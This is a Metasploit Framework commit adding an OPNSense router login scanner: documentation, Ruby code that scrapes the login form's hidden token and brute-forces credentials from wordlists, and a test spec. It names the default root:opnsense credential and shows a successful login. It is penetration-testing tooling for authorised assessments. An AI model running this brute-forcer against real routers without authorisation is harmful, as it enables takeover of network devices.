Skip to content

Commit 2b0d9b4

Browse files
committed
Add OPNSense Login Scanner module
1 parent 5a1e418 commit 2b0d9b4

File tree

5 files changed

+357
-1
lines changed

5 files changed

+357
-1
lines changed
Lines changed: 106 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,106 @@
1+
## Vulnerable Application
2+
3+
This module attempts to bruteforce credentials for OPNSense.
4+
5+
This module was specifically tested on version 25.1 and 21.1, with older versions being unavailable from OPNSense mirrors.
6+
7+
Note:
8+
9+
By default, OPNSense comes with a built-in account named ```root``` with the password being ```opnsense```.
10+
11+
When performing too many login attempts, OPNSense will drop all packets coming from your IP, until the router is either:
12+
- Restarted
13+
- An anti-lockout rule is added
14+
15+
## Verification Steps
16+
17+
1. Set up an OPNSense VM or target a real installation
18+
1. Start `bundle exec ./msfconsole -q`
19+
1. `use auxiliary/scanner/http/opnsense_login`
20+
1. `set ssl true`
21+
1. `set pass_file ...`
22+
1. `set user_file ...`
23+
1. `run`
24+
1. or, using some example inline options: `run pass_file=data/wordlists/default_pass_for_services_unhash.txt user_file=data/wordlists/default_pass_for_services_unhash.txt STOP_ON_SUCCESS=true SSL=true rport=443`
25+
1. Verify you get a login:
26+
```
27+
[+] 192.168.207.158:443 - Login Successful: root:opnsense
28+
```
29+
30+
## Options
31+
32+
### BLANK_PASSWORD
33+
34+
Set to `true` if an additional login attempt should be made with an empty password for every user.
35+
36+
### BRUTEFORCE_SPEED
37+
38+
How fast to bruteforce, from 0 to 5
39+
40+
### PASSWORD
41+
42+
A specific password to authenticate with
43+
44+
### PASS_FILE
45+
46+
File containing passwords, one per line
47+
48+
### STOP_ON_SUCCESS
49+
50+
Stop guessing when a credential works for a host
51+
52+
### THREADS
53+
54+
The number of concurrent threads (max one per host)
55+
56+
### USERPASS_FILE
57+
58+
File containing users and passwords separated by space, one pair per line
59+
60+
### USER_FILE
61+
62+
File containing usernames, one per line
63+
64+
### VERBOSE
65+
66+
Whether to print output for all attempts
67+
68+
## Scenarios
69+
```
70+
msf6 auxiliary(scanner/http/opnsense_login) > options
71+
72+
Module options (auxiliary/scanner/http/opnsense_login):
73+
74+
Name Current Setting Required Description
75+
---- --------------- -------- -----------
76+
ANONYMOUS_LOGIN false yes Attempt to login with a blank username and password
77+
BLANK_PASSWORDS false no Try blank passwords for all users
78+
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
79+
DB_ALL_CREDS false no Try each user/password couple stored in the current database
80+
DB_ALL_PASS false no Add all passwords in the current database to the list
81+
DB_ALL_USERS false no Add all users in the current database to the list
82+
DB_SKIP_EXISTING none no Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
83+
PASSWORD opnsense no A specific password to authenticate with
84+
PASS_FILE no File containing passwords, one per line
85+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
86+
RHOSTS 192.168.207.161 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
87+
RPORT 443 yes The target port (TCP)
88+
SSL true yes Negotiate SSL/TLS for outgoing connections
89+
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
90+
TARGETURI / yes The base path to the OPNSense application
91+
THREADS 1 yes The number of concurrent threads (max one per host)
92+
USERNAME root no A specific username to authenticate as
93+
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
94+
USER_AS_PASS false no Try the username as the password for all users
95+
USER_FILE no File containing usernames, one per line
96+
VERBOSE true yes Whether to print output for all attempts
97+
VHOST no HTTP server virtual host
98+
99+
100+
View the full module info with the info, or info -d command.
101+
102+
msf6 auxiliary(scanner/http/opnsense_login) > run
103+
[+] 192.168.207.161:443 - Login Successful: root:opnsense
104+
[*] Scanned 1 of 1 hosts (100% complete)
105+
[*] Auxiliary module execution completed
106+
```
Lines changed: 141 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,141 @@
1+
require 'metasploit/framework/login_scanner/http'
2+
3+
module Metasploit
4+
module Framework
5+
module LoginScanner
6+
7+
# This is the LoginScanner class for dealing with Deciso B.V. OPNSense instances.
8+
# It is responsible for taking a single target, and a list of credentials
9+
# and attempting them. It then saves the results.
10+
class OPNSense < HTTP
11+
12+
def get_cookie_value(response, wanted_cookie_name)
13+
response.get_cookies.split('; ').find { |cookie| cookie.start_with?(wanted_cookie_name) }.split('=').last
14+
end
15+
16+
# Sends a HTTP request with Rex
17+
#
18+
# @param (see Rex::Proto::Http::Request#request_raw)
19+
# @return [Rex::Proto::Http::Response] The HTTP response
20+
def send_request(opts, keep_cookies = false)
21+
res = super(opts)
22+
23+
if keep_cookies && res
24+
@php_sessid = get_cookie_value(res, 'PHPSESSID')
25+
@cookie_test = get_cookie_value(res, 'cookie_test')
26+
end
27+
28+
res
29+
end
30+
31+
# include Msf::Exploit::Remote::HTTP::OPNSense::Login
32+
# include Msf::Exploit::Remote::HTTP::HttpClient
33+
# define_method :send_request_cgi, Msf::Exploit::Remote::HttpClient.instance_method(:send_request_cgi)
34+
# Checks if the target is OPNSense. The login module should call this.
35+
#
36+
# @return [Boolean, String] FalseClass if target is OPNSense, otherwise String
37+
def check_setup
38+
request_params = {
39+
'method' => 'GET',
40+
'uri' => normalize_uri(@uri.to_s)
41+
}
42+
res = send_request(request_params)
43+
44+
if res && res.code == 200 && res.body&.include?('Login | OPNsense')
45+
return false
46+
end
47+
48+
"Unable to locate \"Login | OPNsense\" in body. (Is this really OPNSense?)"
49+
end
50+
51+
def query_magic_value
52+
request_params = {
53+
'method' => 'GET',
54+
'uri' => normalize_uri(@uri.to_s)
55+
}
56+
57+
res = send_request(request_params, keep_cookies = true)
58+
59+
if res.nil?
60+
return { status: :failure, error: 'Did not receive response to a GET request' }
61+
end
62+
63+
if res.code != 200
64+
return { status: :failure, error: "Unexpected return code from GET request - #{res.code}" }
65+
end
66+
67+
if res.body.nil?
68+
return { status: :failure, error: 'Received an empty body from GET request' }
69+
end
70+
71+
# The magic name and value are hidden on the login form, so we extract them using Nokogiri.
72+
form_inputs = ::Nokogiri::HTML(res.body).search('input')
73+
magic_field = form_inputs.find { |field| field['type'] == 'hidden' }
74+
if magic_field.nil?
75+
return { status: :failure, error: 'Could not find hidden magic field in the login form.' }
76+
end
77+
78+
{ status: :success, result: { name: magic_field['name'], value: magic_field['value'] } }
79+
end
80+
81+
# Each individual login needs their own magic name and value.
82+
# This magic value comes from the login form received in response to a GET request to the login page
83+
def try_login(username, password, magic_value)
84+
request_params =
85+
{
86+
'method' => 'POST',
87+
'uri' => normalize_uri(@uri.to_s),
88+
'cookie' => "PHPSESSID=#{@php_sessid}; cookie_test=#{@cookie_test}",
89+
'vars_post' => {
90+
magic_value[:name] => magic_value[:value],
91+
'usernamefld' => username,
92+
'passwordfld' => password,
93+
'login' => '1'
94+
}
95+
}
96+
97+
{ status: :success, result: send_request(request_params) }
98+
end
99+
100+
def attempt_login(credential)
101+
result_options = {
102+
credential: credential,
103+
host: @host,
104+
port: @port,
105+
protocol: 'tcp',
106+
service_name: 'opnsense'
107+
}
108+
109+
# Each login needs its own magic name and value
110+
magic_value = query_magic_value
111+
112+
if magic_value[:status] != :success
113+
result_options.merge!(status: ::Metasploit::Model::Login::Status::UNTRIED, proof: magic_value[:error])
114+
return Result.new(result_options)
115+
end
116+
117+
login_result = try_login(credential.public, credential.private, magic_value[:result])
118+
119+
if login_result[:result].nil?
120+
result_options.merge!(status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unable to connect to OPNSense')
121+
return Result.new(result_options)
122+
end
123+
124+
# 200 is incorrect result
125+
if login_result[:result].code == 200 || login_result[:result].body.include?('Username or Password incorrect')
126+
result_options.merge!(status: ::Metasploit::Model::Login::Status::INCORRECT, proof: 'Username or Password incorrect')
127+
return Result.new(result_options)
128+
end
129+
130+
login_status = login_result[:result].code == 302 ? ::Metasploit::Model::Login::Status::SUCCESSFUL : ::Metasploit::Model::Login::Status::INCORRECT
131+
result_options.merge!(status: login_status, proof: login_result[:result])
132+
Result.new(result_options)
133+
134+
rescue ::Rex::ConnectionError => _e
135+
result_options.merge!(status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unable to connect to OPNSense')
136+
return Result.new(result_options)
137+
end
138+
end
139+
end
140+
end
141+
end

lib/msf_autoload.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -301,7 +301,8 @@ def custom_inflections
301301
'teamcity' => 'TeamCity',
302302
'nist_sp_800_38f' => 'NIST_SP_800_38f',
303303
'nist_sp_800_108' => 'NIST_SP_800_108',
304-
'pfsense' => 'PfSense'
304+
'pfsense' => 'PfSense',
305+
'opnsense' => 'OPNSense'
305306
}
306307
end
307308

Lines changed: 100 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,100 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
require 'metasploit/framework/credential_collection'
6+
require 'metasploit/framework/login_scanner/opnsense'
7+
8+
class MetasploitModule < Msf::Auxiliary
9+
include Msf::Auxiliary::Scanner
10+
include Msf::Auxiliary::AuthBrute
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info = {})
14+
super(
15+
update_info(
16+
info,
17+
'Name' => 'OPNSense Login Scanner',
18+
'Description' => 'This module performs login attempts against a Deciso B.V OPNSense router webpage to bruteforce possible credentials.',
19+
'Author' => [ 'sjanusz-r7' ],
20+
'License' => MSF_LICENSE,
21+
'Notes' => {
22+
'Stability' => [ CRASH_SAFE ],
23+
'Reliability' => [],
24+
'SideEffects' => [ IOC_IN_LOGS, ACCOUNT_LOCKOUTS ]
25+
}
26+
)
27+
)
28+
29+
register_options(
30+
[
31+
Msf::OptString.new('TARGETURI', [true, 'The base path to the OPNSense application', '/']),
32+
OptBool.new('SSL', [ true, 'Negotiate SSL/TLS for outgoing connections', true ]),
33+
Opt::RPORT(443),
34+
], self.class
35+
)
36+
37+
deregister_options('DOMAIN')
38+
end
39+
40+
def process_credential(credential_data)
41+
credential_combo = "#{credential_data[:username]}:#{credential_data[:private_data]}"
42+
case credential_data[:status]
43+
when Metasploit::Model::Login::Status::SUCCESSFUL
44+
print_good "#{credential_data[:address]}:#{credential_data[:port]} - Login Successful: #{credential_combo}"
45+
credential_data[:core] = create_credential(credential_data)
46+
create_credential_login(credential_data)
47+
return { status: :success, credential: credential_data }
48+
else
49+
if credential_data[:proof]
50+
error_msg = "#{credential_data[:address]}:#{credential_data[:port]} - LOGIN FAILED: #{credential_combo} (#{credential_data[:status]} : #{credential_data[:proof]})"
51+
else
52+
error_msg = "#{credential_data[:address]}:#{credential_data[:port]} - LOGIN FAILED: #{credential_combo} (#{credential_data[:status]})"
53+
end
54+
vprint_error error_msg
55+
invalidate_login(credential_data)
56+
return { status: :fail, credential: credential_data }
57+
end
58+
end
59+
60+
def run_scanner(scanner)
61+
successful_logins = []
62+
scanner.scan! do |result|
63+
credential_data = result.to_h
64+
credential_data.merge!(
65+
module_fullname: fullname,
66+
workspace_id: myworkspace_id
67+
)
68+
69+
processed_credential = process_credential(credential_data)
70+
successful_logins << processed_credential[:credential] if processed_credential[:status] == :success
71+
end
72+
{ successful_logins: successful_logins }
73+
end
74+
75+
def run_host(ip)
76+
cred_collection = build_credential_collection(
77+
username: datastore['USERNAME'],
78+
password: datastore['PASSWORD']
79+
)
80+
81+
scanner_opts = configure_http_login_scanner(
82+
host: ip,
83+
uri: target_uri,
84+
port: datastore['RPORT'],
85+
proxies: datastore['Proxies'],
86+
cred_details: cred_collection,
87+
stop_on_success: datastore['STOP_ON_SUCCESS'],
88+
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
89+
connection_timeout: datastore['HttpClientTimeout'] || 5,
90+
framework: framework,
91+
framework_module: self,
92+
http_success_codes: [302],
93+
method: 'POST',
94+
ssl: datastore['SSL']
95+
)
96+
97+
scanner = Metasploit::Framework::LoginScanner::OPNSense.new(scanner_opts)
98+
run_scanner(scanner)
99+
end
100+
end
Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
require 'spec_helper'
2+
require 'metasploit/framework/login_scanner/opnsense'
3+
4+
RSpec.describe Metasploit::Framework::LoginScanner::OPNSense do
5+
it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false
6+
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
7+
it_behaves_like 'Metasploit::Framework::LoginScanner::HTTP'
8+
end

0 commit comments

Comments
 (0)